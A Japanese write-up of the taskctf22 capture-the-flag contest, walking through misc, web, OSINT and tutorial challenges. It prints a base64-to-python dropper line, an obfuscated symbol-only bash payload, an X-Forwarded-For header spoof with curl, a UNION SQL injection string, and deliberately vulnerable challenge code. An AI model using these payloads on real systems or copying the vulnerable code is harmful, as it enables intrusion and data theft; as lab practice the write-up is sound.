taskctf22 writeup

https://ctf.task4233.dev/

恒例になった誕生日コンテスト。

全問解いて4位。

![ctf.task4233.dev_challenges.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1315a78e-3916-a196-db20-50c8daa36518.png)

![ctf.task4233.dev_user.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/feab950f-7cd4-f5a6-4a57-a5051f497fc3.png)

## misc

### ransomware

> 友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか？

```hbd.sh
#!/bin/sh
echo "IyEv....KQo=" | base64 -d | python3
```

こんなShellスクリプトで、復号すると、C2（Command and Control）サーバーから数値をダウンロードして1文字ずつxorするPythonスクリプトが出てくる。

> [ransomware] サーバに繋がらないというお問い合わせについて
> 繋がらないのは想定通りです。サーバが存在していなくてもFlagを得ることが可能な問題です。

とのことなので、総当たり。

```solve.py
F = open("taskctf_flag.txt.encrypted").read()

for i in range(65536):
  try:
    print(i, "".join(chr(ord(f)^i) for f in F))
  except:
    pass
```

```
 :
47692 ｔａｓｋｃｔｆ｛ｘ０ｒｿ１ｓｿｅ４ｓｙｿ７０ｿ１ｍｐｌｅｍｅｎ７｝Ｊ
 :
```

文字化けしているのは何なんだろう。まあ単語区切りの `_` でしょう。

`taskctf{x0r_1s_e4sy_70_1mplemen7}`

### anti_detection

> Flagを取得するための実行ファイルとアップローダを用意しました。 ただし、この実行ファイルをそのままアップロードすると、防御システムに類似ファイルと検知されて実行されない仕組みになっています。
>
> そこで、検知システムをすり抜ける実行ファイルを作ってFlagを取得してください！

処理と関係無いところを書き換えても通らない。「類似」か。

`flag` という文字列を検知しているのかと、`system("cat f*");` を投げると `invalid output` と言われる。

実行ファイルと同じ処理をする次のスクリプトをコンパイルして投稿したら通った。

```solve.c
#include <stdio.h>

int main()
{
    FILE *f;
    char buf[128];
    f = fopen("flag.txt", "r");
    fscanf(f, "%s", buf);
    printf("flag: %s", buf);
}
```

shellgeiの配布ファイルを見るに、問題のファイルと完全に同一の文字列を出力しないと通らないのかな。

`taskctf{p0werfu1_fuzzy_h4sh}`

### shellgei

> 記号のみのBashスクリプトでFlagを表示してください！

たぶん、やっている人がいるよね。いた。

https://www.ryotosaito.com/blog/?p=194

この記事では `date` を実行しているので、ここを `cat f*` にすれば良い。

`cat *` にしないのは、

```main.go
 :
    // check if not exposes other information.
    if string(out) != flag {
        log.Println("invalid output")
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode("this response does not contain the expected flag...")
        return
    }
 :
```

このチェックを回避するため。

`cat flag.txt` にしないのは面倒だから。

通りません……。配布ファイルから、上記の処理や記号のみに制限する処理を外し、エラー出力をログに出すようにして、ローカルで動かしてデバッグ。

上の記事では、`set` が次の出力をすることを期待している。

```
$ set -g
bash: set: -g: invalid option
set: usage: set [-abefhkmnptuvxBCHP] [-o option-name] [--] [arg ...]
```

問題の環境では次のようになり、微妙に異なる。

```
2145d745baf1:/go# set -g
bash: set: -g: invalid option
set: usage: set [-abefhkmnptuvxBCEHPT] [-o option-name] [--] [-] [arg ...]
```

`o` を取ってくる位置をずらしたら通った。

```
__=$(($$/$$));___=$(($__+$__));____=$(.&>/???/??/$__);____=${____##*.};_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__);_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}};_____=${_____,,};______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___+$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___+$___)):$__}  -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}")));${______[$(($___))]}${______[$(($$-$$))]}${______[$(($___$(($$-$$))-$__))]} ${______[$(($___+$___+$__))]}*
```

`taskctf{I_g0tt3_6e_re4l_w1th_y0u}`

## web

### robots

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/b3582e0a-a879-4e74-5a3a-1f8ea55d48de.png)

`116 120 116` をアスキーコードだと思って文字列に直すと `txt` 。robots.txt。

```
User-Agent: *
Disallow: /admin/flag
```

/admin/flag を開くと、

```
401 Unauthorized
xxx.xxx.xxx.xxx is not internal IP address :(
```

が出てくる。Server Side Request Forgeryができるような機能も無いし、 `X-Forwarded-For` ヘッダでしょう。

```shell-session
$ curl http://xxx.xxx.xxx.xxx:31481/admin/flag -H 'X-Forwarded-For: 127.0.0.1'
 :
        <h1>flag</h1>
        <p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
 :
```

アプリには、127.0.0.1から私のIPアドレスを経由してアクセスがあったように見える。

`taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}`

### first

> 運営している小さな掲示板が100ユーザを達成しました 🎉
>
> そこで、メンテ明けの12/6に**100番目ちょうどの登録をしたユーザをトップページで掲載したい**ので、ユーザ名を `taskctf{ユーザ名}` で教えてください！

フラグのサブミットが5回までで緊張する。（ユーザーではなく）投稿のIDが99のユーザーをサブミットして1 WA :rolling_eyes: 

```app.py
 :
# NOTE: This handler is not unavailable
# @app.route("/register", methods=["POST"])
# def register_post():
#     data = request.json
#     c = sqlite3.connect(db_name)
#     c.execute(f"INSERT INTO users (name, id) VALUES ({data['name']}, {str(uuid7())})")
#     c.commit()
#     c.close()
 :
        cur = c.cursor()
        cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
        results = cur.fetchall()
 :
```

`aaaa' UNION SELECT 1, users.name, users.id FROM users --` で検索して、 `users.name` と `users.id` を引っこ抜く。UUIDv7はIDが時刻順になるので、ソートして100番目の人を探す。

`taskctf{Satomi_Kato}`

## osint

### welcome

> 2019年のtaskctfのwelcome問題のFlagは何でしたっけ？

https://qiita.com/kusano_k/items/a768cece0a2737cc9be1#welcome-1

`taskctf{let's_enj0y!}`

### ramen

> このラーメン屋の名前は何でしょう？

![ramen.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3bef6921-65c0-c15d-f767-098fe2531b7b.jpeg)

Google Lensが便利。最近は、スマホアプリからだけではなく、Google Chromeからも使えるようになった。

`taskctf{蝋燭屋}`

### kofun

> 作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか？

`from:task4233 古墳`。

https://twitter.com/task4233/status/1558826656151654400

埴輪が特徴的な右の写真は、「竜角寺101号古墳」らしい。

色々パターンを変えて入れてみたけど、通りません……。

問題に画像ファイルが添付されていたのを見落としていた。ツイートの左の写真だった。「龍角寺古墳群 石室」とかで検索していたら、同じものを見つけた。でも、龍角寺古墳群の近くの別の古墳なのか。

`taskctf{上福田岩屋古墳}`

### douro

寝る前はその時点で出題されていた全ての問題を解いて1位だったのに、この問題を解くのが遅くて4位になってしまった。12時に出題されると分かっていたのだから、早起きすれば……と思ったけど、私が解いた時間と他の人の時間を見るに、ちゃんと12時に起きても1位は無理そうだった。

> この写真が撮られた場所の緯度と経度を教えてください！

![douro.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d88d8b89-1f7d-b459-7a9a-f6a13db5b16d.jpeg)

右下に薄らと見える

```
WITHERS
MATHEIS
```

は選挙ポスターらしい。

https://www.facebook.com/photo?fbid=264168979178556&set=pb.100067563672413.-2207520000

元の画像を見ると、「Irvine Ranch Water District」という文字があり、地区名が分かる。

右端の白飛びしている看板に書かれている文字「Culvar」は道の名前。この道沿いに写真の場所を探せば良い。ここ。

https://goo.gl/maps/BYEr6QXt6Cea6Wk29

「緯度経度は十進法で小数点以下四桁目を切り捨てたものとします」って問題文に書かれているのに、小数点以下4桁で答えようとして、少し手間取った :rolling_eyes: 

`taskctf{33.693_-117.798}`

## tutorial

### submit_flat

> Flagを提出してみましょう！

書かれているフラグをそのまま提出。

`taskctf{th1s_1s_f14g}`

### just_google_it

> 分からないことがあれば、自分で調べてみましょう！

Base64で復号して、 `Hello! `がいっぱい書かれているので、消す。

```
$ cat base64_encoded.txt | base64 -d | sed -e 's/Hello! //g'
taskctf{Y0u_n0w_know_base64!}
```

`taskctf{Y0u_n0w_know_base64!}`

### try_python

> Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
>
> Pythonを使って配布ファイルに書かれた数字を全て足してみましょう！ Flagは `taskctf{ファイルに書かれた数の合計}` です。

```python
>>> print(sum(map(int, open("numbers.txt").read().split())))
250000
```

`taskctf{250000}`

### build_docker_environment

> DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
>
> 配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう！

```app.py
 :
@app.route("/", methods=["GET"])
def index_get():
    # enable the line below!
	# return render_template('index.html', flag=os.getenv('FLAG'))
 :
```

環境変数は .env に書かれている。あ、Dockerコンテナを動かしていなかった。

`taskctf{D1d_y0u_run_d0cker_c0nta1ner?}`